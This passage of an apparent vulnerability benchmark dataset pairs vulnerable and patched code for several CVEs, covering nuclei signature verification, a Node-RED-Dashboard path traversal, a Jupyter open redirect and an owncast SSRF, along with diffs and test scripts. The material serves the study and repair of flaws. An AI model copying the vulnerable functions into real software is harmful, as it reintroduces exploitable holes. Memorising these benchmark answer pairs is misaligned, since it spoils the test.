err\n\t\t}\n\t\tbuff.WriteRune('\\n')\n\t\tbuff.Write(bin)\n\t}\n\tsignatureData, err := t.sign(buff.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn signatureData, nil\n}"}, {"id": "vul_go_25_3", "commit": "4d5eb9c", "file_path": "pkg/templates/signer/tmpl_signer.go", "start_line": 125, "end_line": 151, "snippet": "func (t *TemplateSigner) Verify(data []byte, tmpl SignableTemplate) (bool, error) {\n\tdigestData := ReDigest.Find(data)\n\tif len(digestData) == 0 {\n\t\treturn false, errors.New(\"digest not found\")\n\t}\n\n\tdigestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern)))\n\t// remove fragment from digest as it is used for re-signing purposes only\n\tdigestString := strings.TrimSuffix(string(digestData), \":\"+t.GetUserFragment())\n\tdigest, err := hex.DecodeString(digestString)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tbuff := bytes.NewBuffer(RemoveSignatureFromData(data))\n\t// if file has any imports process them\n\tfor _, file := range tmpl.GetFileImports() {\n\t\tbin, err := os.ReadFile(file)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tbuff.WriteRune('\\n')\n\t\tbuff.Write(bin)\n\t}\n\n\treturn t.verify(buff.Bytes(), digest)\n}"}], "fix_func": [{"id": "fix_go_25_1", "commit": "0da993a", "file_path": "pkg/templates/signer/tmpl_signer.go", "start_line": 3, "end_line": 20, "snippet": "import (\n\t\"bytes\"\n\t\"crypto/ecdsa\"\n\t\"crypto/md5\"\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"encoding/gob\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\terrorutil \"github.com/projectdiscovery/utils/errors\"\n)"}, {"id": "fix_go_25_2", "commit": "0da993a", "file_path": "pkg/templates/signer/tmpl_signer.go", "start_line": 73, "end_line": 111, "snippet": "func (t *TemplateSigner) Sign(data []byte, tmpl SignableTemplate) (string, error) {\n\texistingSignature, content := ExtractSignatureAndContent(data)\n\n\t// while re-signing template check if it has a code protocol\n\t// if it does then verify that it is signed by current signer\n\t// if not then return error\n\tif tmpl.HasCodeProtocol() {\n\t\tif len(existingSignature) > 0 {\n\t\t\tarr := strings.SplitN(string(existingSignature), \":\", 3)\n\t\t\tif len(arr) == 2 {\n\t\t\t\t// signature has no fragment\n\t\t\t\treturn \"\", errorutil.NewWithTag(\"signer\", \"re-signing code templates are not allowed for security reasons.\")\n\t\t\t}\n\t\t\tif len(arr) == 3 {\n\t\t\t\t// signature has fragment verify if it is equal to current fragment\n\t\t\t\tfragment := t.GetUserFragment()\n\t\t\t\tif fragment != arr[2] {\n\t\t\t\t\treturn \"\", errorutil.NewWithTag(\"signer\", \"re-signing code templates are not allowed for security reasons.\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tbuff := bytes.NewBuffer(content)\n\t// if file has any imports process them\n\tfor _, file := range tmpl.GetFileImports() {\n\t\tbin, err := os.ReadFile(file)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tbuff.WriteRune('\\n')\n\t\tbuff.Write(bin)\n\t}\n\tsignatureData, err := t.sign(buff.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn signatureData, nil\n}"}, {"id": "fix_go_25_3", "commit": "0da993a", "file_path": "pkg/templates/signer/tmpl_signer.go", "start_line": 130, "end_line": 160, "snippet": "func (t *TemplateSigner) Verify(data []byte, tmpl SignableTemplate) (bool, error) {\n\tsignature, content := ExtractSignatureAndContent(data)\n\tif len(signature) == 0 {\n\t\treturn false, errors.New(\"no signature found\")\n\t}\n\n\tif !bytes.HasPrefix(signature, []byte(SignaturePattern)) {\n\t\treturn false, errors.New(\"signature must be at the end of the template\")\n\t}\n\n\tdigestData := bytes.TrimSpace(bytes.TrimPrefix(signature, []byte(SignaturePattern)))\n\t// remove fragment from digest as it is used for re-signing purposes only\n\tdigestString := strings.TrimSuffix(string(digestData), \":\"+t.GetUserFragment())\n\tdigest, err := hex.DecodeString(digestString)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tbuff := bytes.NewBuffer(content)\n\t// if file has any imports process them\n\tfor _, file := range tmpl.GetFileImports() {\n\t\tbin, err := os.ReadFile(file)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tbuff.WriteRune('\\n')\n\t\tbuff.Write(bin)\n\t}\n\n\treturn t.verify(buff.Bytes(), digest)\n}"}, {"id": "fix_go_25_4", "commit": "0da993a", "file_path": "pkg/templates/signer/tmpl_signer.go", "start_line": 29, "end_line": 38, "snippet": "func ExtractSignatureAndContent(data []byte) (signature, content []byte) {\n\tdataStr := string(data)\n\tif idx := strings.LastIndex(dataStr, SignaturePattern); idx != -1 {\n\t\tsignature = []byte(strings.TrimSpace(dataStr[idx:]))\n\t\tcontent = []byte(strings.TrimSpace(dataStr[:idx]))\n\t} else {\n\t\tcontent = data\n\t}\n\treturn\n}"}], "vul_patch": "--- a/pkg/templates/signer/tmpl_signer.go\n+++ b/pkg/templates/signer/tmpl_signer.go\n@@ -1,24 +1,27 @@\n func (t *TemplateSigner) Sign(data []byte, tmpl SignableTemplate) (string, error) {\n+\texistingSignature, content := ExtractSignatureAndContent(data)\n+\n \t// while re-signing template check if it has a code protocol\n \t// if it does then verify that it is signed by current signer\n \t// if not then return error\n \tif tmpl.HasCodeProtocol() {\n-\t\tsig := GetSignatureFromData(data)\n-\t\tarr := strings.SplitN(string(sig), \":\", 3)\n-\t\tif len(arr) == 2 {\n-\t\t\t// signature has no fragment\n-\t\t\treturn \"\", errorutil.NewWithTag(\"signer\", \"re-signing code templates are not allowed for security reasons.\")\n-\t\t}\n-\t\tif len(arr) == 3 {\n-\t\t\t// signature has fragment verify if it is equal to current fragment\n-\t\t\tfragment := t.GetUserFragment()\n-\t\t\tif fragment != arr[2] {\n+\t\tif len(existingSignature) > 0 {\n+\t\t\tarr := strings.SplitN(string(existingSignature), \":\", 3)\n+\t\t\tif len(arr) == 2 {\n+\t\t\t\t// signature has no fragment\n \t\t\t\treturn \"\", errorutil.NewWithTag(\"signer\", \"re-signing code templates are not allowed for security reasons.\")\n+\t\t\t}\n+\t\t\tif len(arr) == 3 {\n+\t\t\t\t// signature has fragment verify if it is equal to current fragment\n+\t\t\t\tfragment := t.GetUserFragment()\n+\t\t\t\tif fragment != arr[2] {\n+\t\t\t\t\treturn \"\", errorutil.NewWithTag(\"signer\", \"re-signing code templates are not allowed for security reasons.\")\n+\t\t\t\t}\n \t\t\t}\n \t\t}\n \t}\n \n-\tbuff := bytes.NewBuffer(RemoveSignatureFromData(data))\n+\tbuff := bytes.NewBuffer(content)\n \t// if file has any imports process them\n \tfor _, file := range tmpl.GetFileImports() {\n \t\tbin, err := os.ReadFile(file)\n\n--- a/pkg/templates/signer/tmpl_signer.go\n+++ b/pkg/templates/signer/tmpl_signer.go\n@@ -1,10 +1,14 @@\n func (t *TemplateSigner) Verify(data []byte, tmpl SignableTemplate) (bool, error) {\n-\tdigestData := ReDigest.Find(data)\n-\tif len(digestData) == 0 {\n-\t\treturn false, errors.New(\"digest not found\")\n+\tsignature, content := ExtractSignatureAndContent(data)\n+\tif len(signature) == 0 {\n+\t\treturn false, errors.New(\"no signature found\")\n \t}\n \n-\tdigestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern)))\n+\tif !bytes.HasPrefix(signature, []byte(SignaturePattern)) {\n+\t\treturn false, errors.New(\"signature must be at the end of the template\")\n+\t}\n+\n+\tdigestData := bytes.TrimSpace(bytes.TrimPrefix(signature, []byte(SignaturePattern)))\n \t// remove fragment from digest as it is used for re-signing purposes only\n \tdigestString := strings.TrimSuffix(string(digestData), \":\"+t.GetUserFragment())\n \tdigest, err := hex.DecodeString(digestString)\n@@ -12,7 +16,7 @@\n \t\treturn false, err\n \t}\n \n-\tbuff := bytes.NewBuffer(RemoveSignatureFromData(data))\n+\tbuff := bytes.NewBuffer(content)\n \t// if file has any imports process them\n \tfor _, file := range tmpl.GetFileImports() {\n \t\tbin, err := os.ReadFile(file)\n\n--- /dev/null\n+++ b/pkg/templates/signer/tmpl_signer.go\n@@ -0,0 +1,18 @@\n+import (\n+\t\"bytes\"\n+\t\"crypto/ecdsa\"\n+\t\"crypto/md5\"\n+\t\"crypto/rand\"\n+\t\"crypto/sha256\"\n+\t\"encoding/gob\"\n+\t\"encoding/hex\"\n+\t\"errors\"\n+\t\"fmt\"\n+\t\"os\"\n+\t\"strings\"\n+\t\"sync\"\n+\n+\t\"github.com/projectdiscovery/gologger\"\n+\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n+\terrorutil \"github.com/projectdiscovery/utils/errors\"\n+)\n\n--- /dev/null\n+++ b/pkg/templates/signer/tmpl_signer.go\n@@ -0,0 +1,10 @@\n+func ExtractSignatureAndContent(data []byte) (signature, content []byte) {\n+\tdataStr := string(data)\n+\tif idx := strings.LastIndex(dataStr, SignaturePattern); idx != -1 {\n+\t\tsignature = []byte(strings.TrimSpace(dataStr[idx:]))\n+\t\tcontent = []byte(strings.TrimSpace(dataStr[:idx]))\n+\t} else {\n+\t\tcontent = data\n+\t}\n+\treturn\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-43405:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/nuclei\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestTemplateSignerSignAndVerify$ github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-43405:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/nuclei\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^()$' github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"}
{"cve_id": "CVE-2021-3223", "cve_description": "Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/node-red/node-red-dashboard", "patch_url": ["https://github.com/node-red/node-red-dashboard/commit/f48f356df966f607ba3d09c27396074b81f2ae97"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_179_1", "commit": "5b0e45a", "file_path": "nodes/ui_base.js", "start_line": 1, "end_line": 138, "snippet": "module.exports = function(RED) {\n    var ui = require('../ui')(RED);\n    var path= require('path');\n    var gsp = require.resolve('gridstack');\n    var node;\n    var set = RED.settings.ui || \"{}\";\n\n    function BaseNode(config) {\n        RED.nodes.createNode(this, config);\n        node = this;\n        var baseFontName = \"-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif\";\n\n        var defaultLightTheme = {\n            baseColor: '#0094CE',\n            baseFont: baseFontName\n        }\n        var defaultDarkTheme = {\n            baseColor: '#097479',\n            baseFont: baseFontName\n        }\n        var defaultCustomTheme = {\n            name: 'Untitled Theme 1',\n            baseColor: defaultLightTheme.baseColor,\n            baseFont: baseFontName\n        }\n        var defaultAngularTheme = {\n            primary:'indigo',\n            accents:'teal',\n            warn: \"red\",\n            background:'grey'\n        };\n\n        // Setup theme name\n        // First try old format (for upgrading with old flow file)\n        // Then try new format\n        // Else fallback to theme-light\n        var themeName;\n        if (typeof(config.theme) === 'string') { themeName = config.theme; }\n        else { themeName = config.theme.name || \"theme-light\"; }\n\n        // Setup other styles\n        var defaultThemeState = {}\n        if (themeName === 'theme-light') {\n            defaultThemeState[\"base-font\"] = {value: baseFontName};\n            defaultThemeState[\"base-color\"] = {value: \"#0094CE\"};\n            defaultThemeState[\"page-backgroundColor\"] = {value: \"#fafafa\"};\n            defaultThemeState[\"page-titlebar-backgroundColor\"] = {value: \"#0094CE\"};\n            defaultThemeState[\"page-sidebar-backgroundColor\"] = {value: \"#ffffff\"};\n            defaultThemeState[\"group-backgroundColor\"] = {value: \"#ffffff\"};\n            defaultThemeState[\"group-textColor\"] = {value: \"#000000\"};\n            defaultThemeState[\"group-borderColor\"] = {value: \"#ffffff\"};\n            defaultThemeState[\"widget-textColor\"] = {value: \"#111111\"};\n            defaultThemeState[\"widget-backgroundColor\"] = {value: \"#0094CE\"};\n        }\n        else {\n            defaultThemeState[\"base-font\"] = {value: baseFontName};\n            defaultThemeState[\"base-color\"] = {value: \"#097479\"};\n            defaultThemeState[\"page-backgroundColor\"] = {value: \"#111111\"};\n            defaultThemeState[\"page-titlebar-backgroundColor\"] = {value: \"#097479\"};\n            defaultThemeState[\"page-sidebar-backgroundColor\"] = {value: \"#333333\"};\n            defaultThemeState[\"group-backgroundColor\"] = {value: \"#333333\"};\n            defaultThemeState[\"group-textColor\"] = {value: \"#10cfd8\"};\n            defaultThemeState[\"group-borderColor\"] = {value: \"#555555\"};\n            defaultThemeState[\"widget-textColor\"] = {value: \"#eeeeee\"};\n            defaultThemeState[\"widget-backgroundColor\"] = {value: \"#097479\"};\n        }\n\n        var defaultThemeObject = {\n            name: themeName,\n            lightTheme: config.theme.lightTheme || defaultLightTheme,\n            darkTheme: config.theme.darkTheme || defaultDarkTheme,\n            customTheme: config.theme.customTheme || defaultCustomTheme,\n            angularTheme: config.theme.angularTheme || defaultAngularTheme,\n            themeState: config.theme.themeState || defaultThemeState\n        }\n\n        this.config = {\n            theme: defaultThemeObject,\n            site: config.site\n        }\n        ui.addBaseConfig(this.config);\n    }\n    RED.nodes.registerType(\"ui_base\", BaseNode);\n\n    RED.library.register(\"themes\");\n\n    RED.httpAdmin.get('/uisettings', function(req, res) {\n        res.json(set);\n    });\n\n    var dname = path.normalize(path.join(__dirname , '../dist/'));\n    var gspath = path.dirname(gsp);\n\n    RED.httpAdmin.get('/ui_base/js/*', function(req, res) {\n        var filename = path.join(__dirname , '../dist/js', req.params[0]);\n        if (filename.indexOf(dname) !== 0) { res.sendStatus(404); }\n        res.sendFile(filename, function (err) {\n            if (err) {\n                if (node) {\n                    node.warn(filename + \" not found. Maybe running in dev mode.\");\n                }\n                else {\n                    console.log(\"ui_base - error:\",err);\n                }\n            }\n        });\n    });\n\n    RED.httpAdmin.get('/ui_base/gs/*', function(req, res) {\n        var filename = path.join(path.dirname(gsp), req.params[0]);\n        if (filename.indexOf(gspath) !== 0) { res.sendStatus(404); }\n        res.sendFile(filename, function (err) {\n            if (err) {\n                if (node) {\n                    node.warn(filename + \" not found. Maybe running in dev mode.\");\n                }\n                else {\n                    console.log(\"ui_base - error:\",err);\n                }\n            }\n        });\n    });\n\n    RED.httpAdmin.get('/ui_base/css/*', function(req, res) {\n        var filename = path.join(__dirname , '../dist/css', req.params[0]);\n        if (filename.indexOf(dname) !== 0) { res.sendStatus(404); }\n        res.sendFile(filename, function (err) {\n            if (err) {\n                if (node) {\n                    node.warn(filename + \" not found. Maybe running in dev mode.\");\n                }\n                else {\n                    console.log(\"ui_base - error:\",err);\n                }\n            }\n        });\n    });\n};"}], "fix_func": [{"id": "fix_js_179_1", "commit": "f48f356", "file_path": "nodes/ui_base.js", "start_line": 1, "end_line": 124, "snippet": "module.exports = function(RED) {\n    var ui = require('../ui')(RED);\n    var path= require('path');\n    var gsp = require.resolve('gridstack');\n    var node;\n    var uiset = RED.settings.ui || \"{}\";\n\n    function BaseNode(config) {\n        RED.nodes.createNode(this, config);\n        node = this;\n        var baseFontName = \"-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif\";\n\n        var defaultLightTheme = {\n            baseColor: '#0094CE',\n            baseFont: baseFontName\n        }\n        var defaultDarkTheme = {\n            baseColor: '#097479',\n            baseFont: baseFontName\n        }\n        var defaultCustomTheme = {\n            name: 'Untitled Theme 1',\n            baseColor: defaultLightTheme.baseColor,\n            baseFont: baseFontName\n        }\n        var defaultAngularTheme = {\n            primary:'indigo',\n            accents:'teal',\n            warn: \"red\",\n            background:'grey'\n        };\n\n        // Setup theme name\n        // First try old format (for upgrading with old flow file)\n        // Then try new format\n        // Else fallback to theme-light\n        var themeName;\n        if (typeof(config.theme) === 'string') { themeName = config.theme; }\n        else { themeName = config.theme.name || \"theme-light\"; }\n\n        // Setup other styles\n        var defaultThemeState = {}\n        if (themeName === 'theme-light') {\n            defaultThemeState[\"base-font\"] = {value: baseFontName};\n            defaultThemeState[\"base-color\"] = {value: \"#0094CE\"};\n            defaultThemeState[\"page-backgroundColor\"] = {value: \"#fafafa\"};\n            defaultThemeState[\"page-titlebar-backgroundColor\"] = {value: \"#0094CE\"};\n            defaultThemeState[\"page-sidebar-backgroundColor\"] = {value: \"#ffffff\"};\n            defaultThemeState[\"group-backgroundColor\"] = {value: \"#ffffff\"};\n            defaultThemeState[\"group-textColor\"] = {value: \"#000000\"};\n            defaultThemeState[\"group-borderColor\"] = {value: \"#ffffff\"};\n            defaultThemeState[\"widget-textColor\"] = {value: \"#111111\"};\n            defaultThemeState[\"widget-backgroundColor\"] = {value: \"#0094CE\"};\n        }\n        else {\n            defaultThemeState[\"base-font\"] = {value: baseFontName};\n            defaultThemeState[\"base-color\"] = {value: \"#097479\"};\n            defaultThemeState[\"page-backgroundColor\"] = {value: \"#111111\"};\n            defaultThemeState[\"page-titlebar-backgroundColor\"] = {value: \"#097479\"};\n            defaultThemeState[\"page-sidebar-backgroundColor\"] = {value: \"#333333\"};\n            defaultThemeState[\"group-backgroundColor\"] = {value: \"#333333\"};\n            defaultThemeState[\"group-textColor\"] = {value: \"#10cfd8\"};\n            defaultThemeState[\"group-borderColor\"] = {value: \"#555555\"};\n            defaultThemeState[\"widget-textColor\"] = {value: \"#eeeeee\"};\n            defaultThemeState[\"widget-backgroundColor\"] = {value: \"#097479\"};\n        }\n\n        var defaultThemeObject = {\n            name: themeName,\n            lightTheme: config.theme.lightTheme || defaultLightTheme,\n            darkTheme: config.theme.darkTheme || defaultDarkTheme,\n            customTheme: config.theme.customTheme || defaultCustomTheme,\n            angularTheme: config.theme.angularTheme || defaultAngularTheme,\n            themeState: config.theme.themeState || defaultThemeState\n        }\n\n        this.config = {\n            theme: defaultThemeObject,\n            site: config.site\n        }\n        ui.addBaseConfig(this.config);\n    }\n    RED.nodes.registerType(\"ui_base\", BaseNode);\n\n    RED.library.register(\"themes\");\n\n    RED.httpAdmin.get('/uisettings', function(req, res) {\n        res.json(uiset);\n    });\n\n    const optsjs = { root: path.join(__dirname , '../dist/js'), dotfiles: 'deny' };\n    const optscss = { root: path.join(__dirname , '../dist/css'), dotfiles: 'deny' };\n    const optsgs = { root: path.dirname(gsp), dotfiles: 'deny' };\n\n    RED.httpAdmin.get('/ui_base/js/*', function(req, res) {\n        res.sendFile(req.params[0], optsjs, function (err) {\n            if (err) {\n                res.sendStatus(404);\n                if (node) { node.warn(\"JS File not found.\"); }\n                else { console.log(\"ui_base - error:\",err); }\n            }\n        });\n    });\n\n    RED.httpAdmin.get('/ui_base/css/*', function(req, res) {\n        res.sendFile(req.params[0], optscss, function (err) {\n            if (err) {\n                res.sendStatus(404);\n                if (node) { node.warn(\"CSS File not found.\"); }\n                else { console.log(\"ui_base - error:\",err); }\n            }\n        });\n    });\n\n    RED.httpAdmin.get('/ui_base/gs/*', function(req, res) {\n        res.sendFile(req.params[0], optsgs, function (err) {\n            if (err) {\n                res.sendStatus(404);\n                if (node) { node.warn(\"Gridstack file not found.\"); }\n                else { console.log(\"ui_base - error:\",err); }\n            }\n        });\n    });\n};"}], "vul_patch": "--- a/nodes/ui_base.js\n+++ b/nodes/ui_base.js\n@@ -3,7 +3,7 @@\n     var path= require('path');\n     var gsp = require.resolve('gridstack');\n     var node;\n-    var set = RED.settings.ui || \"{}\";\n+    var uiset = RED.settings.ui || \"{}\";\n \n     function BaseNode(config) {\n         RED.nodes.createNode(this, config);\n@@ -85,53 +85,39 @@\n     RED.library.register(\"themes\");\n \n     RED.httpAdmin.get('/uisettings', function(req, res) {\n-        res.json(set);\n+        res.json(uiset);\n     });\n \n-    var dname = path.normalize(path.join(__dirname , '../dist/'));\n-    var gspath = path.dirname(gsp);\n+    const optsjs = { root: path.join(__dirname , '../dist/js'), dotfiles: 'deny' };\n+    const optscss = { root: path.join(__dirname , '../dist/css'), dotfiles: 'deny' };\n+    const optsgs = { root: path.dirname(gsp), dotfiles: 'deny' };\n \n     RED.httpAdmin.get('/ui_base/js/*', function(req, res) {\n-        var filename = path.join(__dirname , '../dist/js', req.params[0]);\n-        if (filename.indexOf(dname) !== 0) { res.sendStatus(404); }\n-        res.sendFile(filename, function (err) {\n+        res.sendFile(req.params[0], optsjs, function (err) {\n             if (err) {\n-                if (node) {\n-                    node.warn(filename + \" not found. Maybe running in dev mode.\");\n-                }\n-                else {\n-                    console.log(\"ui_base - error:\",err);\n-                }\n+                res.sendStatus(404);\n+                if (node) { node.warn(\"JS File not found.\"); }\n+                else { console.log(\"ui_base - error:\",err); }\n+            }\n+        });\n+    });\n+\n+    RED.httpAdmin.get('/ui_base/css/*', function(req, res) {\n+        res.sendFile(req.params[0], optscss, function (err) {\n+            if (err) {\n+                res.sendStatus(404);\n+                if (node) { node.warn(\"CSS File not found.\"); }\n+                else { console.log(\"ui_base - error:\",err); }\n             }\n         });\n     });\n \n     RED.httpAdmin.get('/ui_base/gs/*', function(req, res) {\n-        var filename = path.join(path.dirname(gsp), req.params[0]);\n-        if (filename.indexOf(gspath) !== 0) { res.sendStatus(404); }\n-        res.sendFile(filename, function (err) {\n+        res.sendFile(req.params[0], optsgs, function (err) {\n             if (err) {\n-                if (node) {\n-                    node.warn(filename + \" not found. Maybe running in dev mode.\");\n-                }\n-                else {\n-                    console.log(\"ui_base - error:\",err);\n-                }\n-            }\n-        });\n-    });\n-\n-    RED.httpAdmin.get('/ui_base/css/*', function(req, res) {\n-        var filename = path.join(__dirname , '../dist/css', req.params[0]);\n-        if (filename.indexOf(dname) !== 0) { res.sendStatus(404); }\n-        res.sendFile(filename, function (err) {\n-            if (err) {\n-                if (node) {\n-                    node.warn(filename + \" not found. Maybe running in dev mode.\");\n-                }\n-                else {\n-                    console.log(\"ui_base - error:\",err);\n-                }\n+                res.sendStatus(404);\n+                if (node) { node.warn(\"Gridstack file not found.\"); }\n+                else { console.log(\"ui_base - error:\",err); }\n             }\n         });\n     });\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26215", "cve_description": "Jupyter Notebook before version 6.1.5 has an Open redirect vulnerability. A maliciously crafted link to a notebook server could redirect the browser to a different website. All notebook servers are technically affected, however, these maliciously crafted links can only be reasonably made for known notebook server hosts. A link to your notebook server may appear safe, but ultimately redirect to a spoofed server on the public internet. The issue is patched in version 6.1.5.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/jupyter/notebook", "patch_url": ["https://github.com/jupyter/notebook/commit/3cec4bbe21756de9f0c4bccf18cf61d840314d74"], "programing_language": "Python", "vul_func": [{"id": "vul_py_47_1", "commit": "d8308e13803ba1c6e92f129381e615af6c6e00d3", "file_path": "notebook/base/handlers.py", "start_line": 861, "end_line": 863, "snippet": "    def get(self):\n        self.redirect(self.request.uri.rstrip('/'))\n    "}], "fix_func": [{"id": "fix_py_47_1", "commit": "3cec4bbe21756de9f0c4bccf18cf61d840314d74", "file_path": "notebook/base/handlers.py", "start_line": 861, "end_line": 867, "snippet": "    def get(self):\n        path, *rest = self.request.uri.partition(\"?\")\n        # trim trailing *and* leading /\n        # to avoid misinterpreting repeated '//'\n        path = \"/\" + path.strip(\"/\")\n        new_uri = \"\".join([path, *rest])\n        self.redirect(new_uri)"}], "vul_patch": "--- a/notebook/base/handlers.py\n+++ b/notebook/base/handlers.py\n@@ -1,3 +1,7 @@\n     def get(self):\n-        self.redirect(self.request.uri.rstrip('/'))\n-    \n+        path, *rest = self.request.uri.partition(\"?\")\n+        # trim trailing *and* leading /\n+        # to avoid misinterpreting repeated '//'\n+        path = \"/\" + path.strip(\"/\")\n+        new_uri = \"\".join([path, *rest])\n+        self.redirect(new_uri)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26215:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/notebook\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-26215/bin/python -m pytest notebook/tests/test_paths.py::RedirectTestCase::test_trailing_slash -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26215:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/notebook\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2020-26215/bin/python -m pytest notebook/tests/test_paths.py -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2023-3188", "cve_description": "Server-Side Request Forgery (SSRF) in GitHub repository owncast/owncast prior to 0.1.0.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/owncast/owncast", "patch_url": ["https://github.com/owncast/owncast/commit/f40135dbf28093864482f9662c23e478ea192b16"], "programing_language": "Go", "vul_func": [{"id": "vul_go_172_1", "commit": "b8fe446", "file_path": "activitypub/webfinger/webfinger.go", "start_line": 12, "end_line": 46, "snippet": "func GetWebfingerLinks(account string) ([]map[string]interface{}, error) {\n\ttype webfingerResponse struct {\n\t\tLinks []map[string]interface{} `json:\"links\"`\n\t}\n\n\taccount = strings.TrimLeft(account, \"@\") // remove any leading @\n\taccountComponents := strings.Split(account, \"@\")\n\tfediverseServer := accountComponents[1]\n\n\t// HTTPS is required.\n\trequestURL, err := url.Parse(\"https://\" + fediverseServer)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to parse fediverse server host %s\", fediverseServer)\n\t}\n\n\trequestURL.Path = \"/.well-known/webfinger\"\n\tquery := requestURL.Query()\n\tquery.Add(\"resource\", fmt.Sprintf(\"acct:%s\", account))\n\trequestURL.RawQuery = query.Encode()\n\n\tresponse, err := http.DefaultClient.Get(requestURL.String())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer response.Body.Close()\n\n\tvar links webfingerResponse\n\tdecoder := json.NewDecoder(response.Body)\n\tif err := decoder.Decode(&links); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn links.Links, nil\n}"}, {"id": "vul_go_172_2", "commit": "b8fe446", "file_path": "auth/indieauth/client.go", "start_line": 70, "end_line": 129, "snippet": "func HandleCallbackCode(code, state string) (*Request, *Response, error) {\n\trequest, exists := pendingAuthRequests[state]\n\tif !exists {\n\t\treturn nil, nil, errors.New(\"no auth requests pending\")\n\t}\n\n\tdata := url.Values{}\n\tdata.Set(\"grant_type\", \"authorization_code\")\n\tdata.Set(\"code\", code)\n\tdata.Set(\"client_id\", request.ClientID)\n\tdata.Set(\"redirect_uri\", request.Callback.String())\n\tdata.Set(\"code_verifier\", request.CodeVerifier)\n\n\tclient := &http.Client{}\n\tr, err := http.NewRequest(\"POST\", request.Endpoint.String(), strings.NewReader(data.Encode())) // URL-encoded payload\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tr.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\tr.Header.Add(\"Content-Length\", strconv.Itoa(len(data.Encode())))\n\n\tres, err := client.Do(r)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer res.Body.Close()\n\tbody, err := io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar response Response\n\tif err := json.Unmarshal(body, &response); err != nil {\n\t\treturn nil, nil, errors.Wrap(err, \"unable to parse IndieAuth response: \"+string(body))\n\t}\n\n\tif response.Error != \"\" || response.ErrorDescription != \"\" {\n\t\terrorText := makeIndieAuthClientErrorText(response.Error)\n\t\tlog.Debugln(\"IndieAuth error:\", response.Error, response.ErrorDescription)\n\t\treturn nil, nil, fmt.Errorf(\"IndieAuth error: %s - %s\", errorText, response.ErrorDescription)\n\t}\n\n\t// In case this IndieAuth server does not use OAuth error keys or has internal\n\t// issues resulting in unstructured errors.\n\tif res.StatusCode < 200 || res.StatusCode > 299 {\n\t\tlog.Debugln(\"IndieAuth error. status code:\", res.StatusCode, \"body:\", string(body))\n\t\treturn nil, nil, errors.New(\"there was an error authenticating against IndieAuth server\")\n\t}\n\n\t// Trim any trailing slash so we can accurately compare the two \"me\" values\n\tmeResponseVerifier := strings.TrimRight(response.Me, \"/\")\n\tmeRequestVerifier := strings.TrimRight(request.Me.String(), \"/\")\n\n\t// What we sent and what we got back must match\n\tif meRequestVerifier != meResponseVerifier {\n\t\treturn nil, nil, errors.New(\"indieauth response does not match the initial anticipated auth destination\")\n\t}\n\n\treturn request, &response, nil\n}"}], "fix_func": [{"id": "fix_go_172_1", "commit": "f40135d", "file_path": 